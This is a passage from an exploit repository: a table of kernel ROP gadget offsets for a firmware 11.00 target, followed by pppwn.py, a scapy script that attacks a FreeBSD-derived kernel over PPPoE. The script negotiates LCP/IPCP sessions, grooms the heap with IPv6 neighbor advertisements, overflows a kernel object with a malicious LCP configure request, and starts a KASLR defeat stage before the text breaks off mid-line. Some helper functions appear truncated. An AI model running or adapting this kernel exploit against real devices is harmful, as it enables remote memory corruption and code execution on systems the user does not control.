PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c74cd6 685 | 686 | # 0xffffffff824a4981 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 687 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824a4981 688 | 689 | # 0xffffffff82921206 : lea rsp, [rsi + 0x20] ; repz ret 690 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82921206 691 | 692 | # 0xffffffff826c493a : add rsp, 0x28 ; pop rbp ; ret 693 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826c493a 694 | 695 | # 0xffffffff822ce1af : add rsp, 0xb0 ; pop rbp ; ret 696 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff822ce1af 697 | 698 | # 0xffffffff822008e0 : ret 699 | RET = 0xffffffff822008e0 700 | 701 | # 0xffffffff8236f38f : pop rdi ; ret 702 | POP_RDI_RET = 0xffffffff8236f38f 703 | 704 | # 0xffffffff82222d59 : pop rsi ; ret 705 | POP_RSI_RET = 0xffffffff82222d59 706 | 707 | # 0xffffffff82329bb2 : pop rdx ; ret 708 | POP_RDX_RET = 0xffffffff82329bb2 709 | 710 | # 0xffffffff8225a567 : pop rcx ; ret 711 | POP_RCX_RET = 0xffffffff8225a567 712 | 713 | # 0xffffffff822234fd : pop r8 ; pop rbp ; ret 714 | POP_R8_POP_RBP_RET = 0xffffffff822234fd 715 | 716 | # 0xffffffff827aa3ef : pop r12 ; ret 717 | POP_R12_RET = 0xffffffff827aa3ef 718 | 719 | # 0xffffffff82495c08 : pop rax ; ret 720 | POP_RAX_RET = 0xffffffff82495c08 721 | 722 | # 0xffffffff822008df : pop rbp ; ret 723 | POP_RBP_RET = 0xffffffff822008df 724 | 725 | # 0xffffffff82bb5092 : push rsp ; pop rsi ; ret 726 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5092 727 | 728 | # 0xffffffff8256d4d0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 729 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8256d4d0 730 | 731 | # 0xffffffff822a9078 : mov byte ptr [rcx], al ; ret 732 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff822a9078 733 | 734 | # 0xffffffff8229113c : mov rdi, rbx ; call r12 735 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8229113c 736 | 737 | # 0xffffffff82290f77 : mov rdi, r14 ; call r12 738 | MOV_RDI_R14_CALL_R12 = 0xffffffff82290f77 739 | 740 | # 0xffffffff8227e3ce : mov rsi, rbx ; call rax 741 | MOV_RSI_RBX_CALL_RAX = 0xffffffff8227e3ce 742 | 743 | # 0xffffffff824f95e8 : mov r14, rax ; call r8 744 | MOV_R14_RAX_CALL_R8 = 0xffffffff824f95e8 745 | 746 | # 0xffffffff82cb4eca : add rdi, rcx ; ret 747 | ADD_RDI_RCX_RET = 0xffffffff82cb4eca 748 | 749 | # 0xffffffff8220c1e7 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 750 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8220c1e7 751 | 752 | # 0xffffffff82b83a5b : jmp r14 753 | JMP_R14 = 0xffffffff82b83a5b 754 | 755 | # FW 11.00 756 | class OffsetsFirmware_1100: 757 | PPPOE_SOFTC_LIST = 0xffffffff844e2578 758 | 759 | KERNEL_MAP = 0xffffffff843ff130 760 | 761 | SETIDT = 0xffffffff8245bdb0 762 | 763 | KMEM_ALLOC = 0xffffffff82445e10 764 | KMEM_ALLOC_PATCH1 = 0xffffffff82445edc 765 | KMEM_ALLOC_PATCH2 = 0xffffffff82445ee4 766 | 767 | MEMCPY = 0xffffffff824dddf0 768 | 769 | # 0xffffffff824f1299 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 770 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff824f1299 771 | 772 | SECOND_GADGET_OFF = 0x3e 773 | 774 | # 0xffffffff82eb1f97 : jmp qword ptr [rsi + 0x3e] 775 | FIRST_GADGET = 0xffffffff82eb1f97 776 | 777 | # 0xffffffff82c75166 : push rbp ; jmp qword ptr [rsi] 778 | PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c75166 779 | 780 | # 0xffffffff824b90e1 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10] 781 | POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824b90e1 782 | 783 | # 0xffffffff8293c8c6 : lea rsp, [rsi + 0x20] ; repz ret 784 | LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293c8c6 785 | 786 | # 0xffffffff826cb2da : add rsp, 0x28 ; pop rbp ; ret 787 | ADD_RSP_28_POP_RBP_RET = 0xffffffff826cb2da 788 | 789 | # 0xffffffff824cdd5f : add rsp, 0xb0 ; pop rbp ; ret 790 | ADD_RSP_B0_POP_RBP_RET = 0xffffffff824cdd5f 791 | 792 | # 0xffffffff822007e4 : ret 793 | RET = 0xffffffff822007e4 794 | 795 | # 0xffffffff825f38ed : pop rdi ; ret 796 | POP_RDI_RET = 0xffffffff825f38ed 797 | 798 | # 0xffffffff8224a6a9 : pop rsi ; ret 799 | POP_RSI_RET = 0xffffffff8224a6a9 800 | 801 | # 0xffffffff822a4762 : pop rdx ; ret 802 | POP_RDX_RET = 0xffffffff822a4762 803 | 804 | # 0xffffffff8221170a : pop rcx ; ret 805 | POP_RCX_RET = 0xffffffff8221170a 806 | 807 | # 0xffffffff8224ae4d : pop r8 ; pop rbp ; ret 808 | POP_R8_POP_RBP_RET = 0xffffffff8224ae4d 809 | 810 | # 0xffffffff8279faaf : pop r12 ; ret 811 | POP_R12_RET = 0xffffffff8279faaf 812 | 813 | # 0xffffffff8221172e : pop rax ; ret 814 | POP_RAX_RET = 0xffffffff8221172e 815 | 816 | # 0xffffffff822008df : pop rbp ; ret 817 | POP_RBP_RET = 0xffffffff822008df 818 | 819 | # 0xffffffff82bb5c7a : push rsp ; pop rsi ; ret 820 | PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5c7a 821 | 822 | # 0xffffffff823ce260 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax 823 | MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff823ce260 824 | 825 | # 0xffffffff8236ae58 : mov byte ptr [rcx], al ; ret 826 | MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff8236ae58 827 | 828 | # 0xffffffff8233426c : mov rdi, rbx ; call r12 829 | MOV_RDI_RBX_CALL_R12 = 0xffffffff8233426c 830 | 831 | # 0xffffffff823340a7 : mov rdi, r14 ; call r12 832 | MOV_RDI_R14_CALL_R12 = 0xffffffff823340a7 833 | 834 | # 0xffffffff82512dce : mov rsi, rbx ; call rax 835 | MOV_RSI_RBX_CALL_RAX = 0xffffffff82512dce 836 | 837 | # 0xffffffff82624df8 : mov r14, rax ; call r8 838 | MOV_R14_RAX_CALL_R8 = 0xffffffff82624df8 839 | 840 | # 0xffffffff82cb535a : add rdi, rcx ; ret 841 | ADD_RDI_RCX_RET = 0xffffffff82cb535a 842 | 843 | # 0xffffffff8260f297 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret 844 | SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8260f297 845 | 846 | # 0xffffffff82b84657 : jmp r14 847 | JMP_R14 = 0xffffffff82b84657 848 | -------------------------------------------------------------------------------- /pppwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Copyright (C) 2024 Andy Nguyen 4 | # 5 | # This software may be modified and distributed under the terms 6 | # of the MIT license. See the LICENSE file for details. 7 | 8 | from argparse import ArgumentParser 9 | from scapy.all import * 10 | from scapy.layers.ppp import * 11 | from struct import pack, unpack 12 | from sys import exit 13 | from time import sleep 14 | from offsets import * 15 | 16 | # PPPoE constants 17 | 18 | PPPOE_TAG_HUNIQUE = 0x0103 19 | PPPOE_TAG_ACOOKIE = 0x0104 20 | 21 | PPPOE_CODE_PADI = 0x09 22 | PPPOE_CODE_PADO = 0x07 23 | PPPOE_CODE_PADR = 0x19 24 | PPPOE_CODE_PADS = 0x65 25 | PPPOE_CODE_PADT = 0xa7 26 | 27 | ETHERTYPE_PPPOEDISC = 0x8863 28 | ETHERTYPE_PPPOE = 0x8864 29 | 30 | CONF_REQ = 1 31 | CONF_ACK = 2 32 | CONF_NAK = 3 33 | CONF_REJ = 4 34 | ECHO_REQ = 9 35 | ECHO_REPLY = 10 36 | 37 | # FreeBSD constants 38 | 39 | NULL = 0 40 | 41 | PAGE_SIZE = 0x4000 42 | 43 | IDT_UD = 6 44 | SDT_SYSIGT = 14 45 | SEL_KPL = 0 46 | 47 | CR0_PE = 0x00000001 48 | CR0_MP = 0x00000002 49 | CR0_EM = 0x00000004 50 | CR0_TS = 0x00000008 51 | CR0_ET = 0x00000010 52 | CR0_NE = 0x00000020 53 | CR0_WP = 0x00010000 54 | CR0_AM = 0x00040000 55 | CR0_NW = 0x20000000 56 | CR0_CD = 0x40000000 57 | CR0_PG = 0x80000000 58 | 59 | CR0_ORI = CR0_PG | CR0_AM | CR0_WP | CR0_NE | CR0_ET | CR0_TS | CR0_MP | CR0_PE 60 | 61 | VM_PROT_READ = 0x01 62 | VM_PROT_WRITE = 0x02 63 | VM_PROT_EXECUTE = 0x04 64 | 65 | VM_PROT_ALL = (VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE) 66 | 67 | LLE_STATIC = 0x0002 68 | LLE_LINKED = 0x0040 69 | LLE_EXCLUSIVE = 0x2000 70 | 71 | LO_INITIALIZED = 0x00010000 72 | LO_WITNESS = 0x00020000 73 | LO_UPGRADABLE = 0x00200000 74 | LO_DUPOK = 0x00400000 75 | 76 | LO_CLASSSHIFT = 24 77 | 78 | RW_UNLOCKED = 1 79 | MTX_UNOWNED = 4 80 | 81 | RW_INIT_FLAGS = ((4 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS | 82 | LO_UPGRADABLE) 83 | MTX_INIT_FLAGS = ((1 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS) 84 | 85 | CALLOUT_RETURNUNLOCKED = 0x10 86 | 87 | AF_INET6 = 28 88 | 89 | IFT_ETHER = 0x6 90 | 91 | ND6_LLINFO_NOSTATE = 0xfffe 92 | 93 | # FreeBSD offsets 94 | 95 | TARGET_SIZE = 0x100 96 | 97 | PPPOE_SOFTC_SC_DEST = 0x24 98 | PPPOE_SOFTC_SC_AC_COOKIE = 0x40 99 | PPPOE_SOFTC_SIZE = 0x1c8 100 | 101 | LLTABLE_LLTIFP = 0x110 102 | LLTABLE_LLTFREE = 0x118 103 | 104 | SOCKADDR_IN6_SIZE = 0x1c 105 | 106 | 107 | def p8(val): 108 | return pack('H', val & 0xffff) 117 | 118 | 119 | def p32(val): 120 | return pack('I', val & 0xffffffff) 125 | 126 | 127 | def p64(val): 128 | return pack('Q', val & 0xffffffffffffffff) 133 | 134 | 135 | class LcpEchoHandler(AsyncSniffer): 136 | 137 | def __init__(self, iface): 138 | self.s = conf.L2socket(iface=iface) 139 | super().__init__(opened_socket=self.s, 140 | prn=self.handler, 141 | filter='pppoes && !ip', 142 | lfilter=lambda pkt: pkt.haslayer(PPP_LCP_Echo)) 143 | 144 | def handler(self, pkt): 145 | self.s.send( 146 | Ether(src=pkt[Ether].dst, dst=pkt[Ether].src, type=ETHERTYPE_PPPOE) 147 | / PPPoE(sessionid=pkt[PPPoE].sessionid) / PPP() / 148 | PPP_LCP_Echo(code=ECHO_REPLY, id=pkt[PPP_LCP_Echo].id)) 149 | 150 | 151 | class Exploit(): 152 | SPRAY_NUM = 0x1000 153 | PIN_NUM = 0x1000 154 | CORRUPT_NUM = 0x1 155 | 156 | HOLE_START = 0x400 157 | HOLE_SPACE = 0x10 158 | 159 | LCP_ID = 0x41 160 | IPCP_ID = 0x41 161 | 162 | SESSION_ID = 0xffff 163 | 164 | STAGE2_PORT = 9020 165 | 166 | SOURCE_MAC = '41:41:41:41:41:41' 167 | SOURCE_IPV4 = '41.41.41.41' 168 | SOURCE_IPV6 = 'fe80::4141:4141:4141:4141' 169 | 170 | TARGET_IPV4 = '42.42.42.42' 171 | 172 | BPF_FILTER = '(ip6) || (pppoed) || (pppoes && !ip)' 173 | 174 | def __init__(self, offs, iface, stage1, stage2): 175 | self.offs = offs 176 | self.iface = iface 177 | self.stage1 = stage1 178 | self.stage2 = stage2 179 | self.s = conf.L2socket(iface=self.iface, filter=self.BPF_FILTER) 180 | 181 | def kdlsym(self, addr): 182 | return self.kaslr_offset + addr 183 | 184 | def lcp_negotiation(self): 185 | print('[*] Sending LCP configure request...') 186 | self.s.send( 187 | Ether(src=self.source_mac, 188 | dst=self.target_mac, 189 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 190 | PPP() / PPP_LCP(code=CONF_REQ, id=self.LCP_ID)) 191 | 192 | print('[*] Waiting for LCP configure ACK...') 193 | while True: 194 | pkt = self.s.recv() 195 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 196 | PPP_LCP_Configure].code == CONF_ACK: 197 | break 198 | 199 | print('[*] Waiting for LCP configure request...') 200 | while True: 201 | pkt = self.s.recv() 202 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 203 | PPP_LCP_Configure].code == CONF_REQ: 204 | break 205 | 206 | print('[*] Sending LCP configure ACK...') 207 | self.s.send( 208 | Ether(src=self.source_mac, 209 | dst=self.target_mac, 210 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 211 | PPP() / PPP_LCP(code=CONF_ACK, id=pkt[PPP_LCP_Configure].id)) 212 | 213 | def ipcp_negotiation(self): 214 | print('[*] Sending IPCP configure request...') 215 | self.s.send( 216 | Ether( 217 | src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) 218 | / PPPoE(sessionid=self.SESSION_ID) / PPP() / 219 | PPP_IPCP(code=CONF_REQ, 220 | id=self.IPCP_ID, 221 | options=PPP_IPCP_Option_IPAddress(data=self.SOURCE_IPV4))) 222 | 223 | print('[*] Waiting for IPCP configure ACK...') 224 | while True: 225 | pkt = self.s.recv() 226 | if pkt and pkt.haslayer( 227 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_ACK: 228 | break 229 | 230 | print('[*] Waiting for IPCP configure request...') 231 | while True: 232 | pkt = self.s.recv() 233 | if pkt and pkt.haslayer( 234 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: 235 | break 236 | 237 | print('[*] Sending IPCP configure NAK...') 238 | self.s.send( 239 | Ether( 240 | src=self.source_mac, dst=self.target_mac, type=ETHERTYPE_PPPOE) 241 | / PPPoE(sessionid=self.SESSION_ID) / PPP() / 242 | PPP_IPCP(code=CONF_NAK, 243 | id=pkt[PPP_IPCP].id, 244 | options=PPP_IPCP_Option_IPAddress(data=self.TARGET_IPV4))) 245 | 246 | print('[*] Waiting for IPCP configure request...') 247 | while True: 248 | pkt = self.s.recv() 249 | if pkt and pkt.haslayer( 250 | PPP_IPCP) and pkt[PPP_IPCP].code == CONF_REQ: 251 | break 252 | 253 | print('[*] Sending IPCP configure ACK...') 254 | self.s.send( 255 | Ether(src=self.source_mac, 256 | dst=self.target_mac, 257 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 258 | PPP() / PPP_IPCP(code=CONF_ACK, 259 | id=pkt[PPP_IPCP].id, 260 | options=pkt[PPP_IPCP].options)) 261 | 262 | def ppp_negotation(self, cb=None, ignore_initial_req=False): 263 | if ignore_initial_req: 264 | print('[*] Waiting for PADI...') 265 | while True: 266 | pkt = self.s.recv() 267 | if pkt and pkt.haslayer( 268 | PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI: 269 | break 270 | 271 | print('[*] Waiting for PADI...') 272 | while True: 273 | pkt = self.s.recv() 274 | if pkt and pkt.haslayer( 275 | PPPoED) and pkt[PPPoED].code == PPPOE_CODE_PADI: 276 | break 277 | 278 | for tag in pkt[PPPoED][PPPoED_Tags].tag_list: 279 | if tag.tag_type == PPPOE_TAG_HUNIQUE: 280 | host_uniq = tag.tag_value 281 | 282 | self.pppoe_softc = unpack('= self.HOLE_START and i % self.HOLE_SPACE == 0: 653 | continue 654 | 655 | self.s.send( 656 | Ether(src=self.source_mac, dst=self.target_mac) / 657 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 658 | ICMPv6ND_NA(tgt=source_ipv6, S=1) / 659 | ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) 660 | 661 | print('[+] Heap grooming...done') 662 | 663 | print('') 664 | print('[+] STAGE 1: Memory corruption') 665 | 666 | # Send invalid packet to trigger a printf in the kernel. For some 667 | # reason, this causes scheduling on CPU 0 at some point, which makes 668 | # the next allocation use the same per-CPU cache. 669 | for i in range(self.PIN_NUM): 670 | if i % 0x100 == 0: 671 | print('[*] Pinning to CPU 0...{}%'.format(100 * i // 672 | self.PIN_NUM), 673 | end='\r', 674 | flush=True) 675 | 676 | self.s.send( 677 | Ether(src=self.source_mac, 678 | dst=self.target_mac, 679 | type=ETHERTYPE_PPPOE)) 680 | sleep(0.001) 681 | 682 | print('[+] Pinning to CPU 0...done') 683 | 684 | # LCP fails sometimes without the wait 685 | sleep(1) 686 | 687 | # Corrupt in6_llentry object 688 | overflow_lle = self.build_overflow_lle() 689 | print('[*] Sending malicious LCP configure request...') 690 | for i in range(self.CORRUPT_NUM): 691 | self.s.send( 692 | Ether(src=self.source_mac, 693 | dst=self.target_mac, 694 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 695 | PPP() / PPP_LCP(code=CONF_REQ, 696 | id=self.LCP_ID, 697 | len=TARGET_SIZE + 4, 698 | data=(PPP_LCP_Option(data=b'A' * 699 | (TARGET_SIZE - 4)) / 700 | PPP_LCP_Option(data=overflow_lle)))) 701 | 702 | print('[*] Waiting for LCP configure reject...') 703 | while True: 704 | pkt = self.s.recv() 705 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 706 | PPP_LCP_Configure].code == CONF_REJ: 707 | break 708 | 709 | # Re-negotiate after rejection 710 | self.lcp_negotiation() 711 | self.ipcp_negotiation() 712 | 713 | corrupted = False 714 | for i in reversed(range(self.SPRAY_NUM)): 715 | if i % 0x100 == 0: 716 | print('[*] Scanning for corrupted object...{}'.format(hex(i)), 717 | end='\r', 718 | flush=True) 719 | 720 | if i >= self.HOLE_START and i % self.HOLE_SPACE == 0: 721 | continue 722 | 723 | source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i) 724 | 725 | self.s.send( 726 | Ether(src=self.source_mac, dst=self.target_mac) / 727 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 728 | ICMPv6EchoRequest()) 729 | 730 | while True: 731 | pkt = self.s.recv() 732 | if pkt: 733 | if pkt.haslayer(ICMPv6EchoReply): 734 | break 735 | elif pkt.haslayer(ICMPv6ND_NS): 736 | corrupted = True 737 | break 738 | 739 | if corrupted: 740 | break 741 | 742 | self.s.send( 743 | Ether(src=self.source_mac, dst=self.target_mac) / 744 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 745 | ICMPv6ND_NA(tgt=source_ipv6, S=1) / 746 | ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) 747 | 748 | if not corrupted: 749 | print('[-] Scanning for corrupted object...failed. Please retry.') 750 | exit(1) 751 | 752 | print( 753 | '[+] Scanning for corrupted object...found {}'.format(source_ipv6)) 754 | 755 | print('') 756 | print('[+] STAGE 2: KASLR defeat') 757 | 758 | print('[*] Defeating KASLR...') 759 | while True: 760 | pkt = self.s.recv() 761 | if pkt and pkt.haslayer( 762 | ICMPv6NDOptSrcLLAddr) and pkt[ICMPv6NDOptSrcLLAddr].len > 1: 763 | break 764 | 765 | self.pppoe_softc_list = unpack('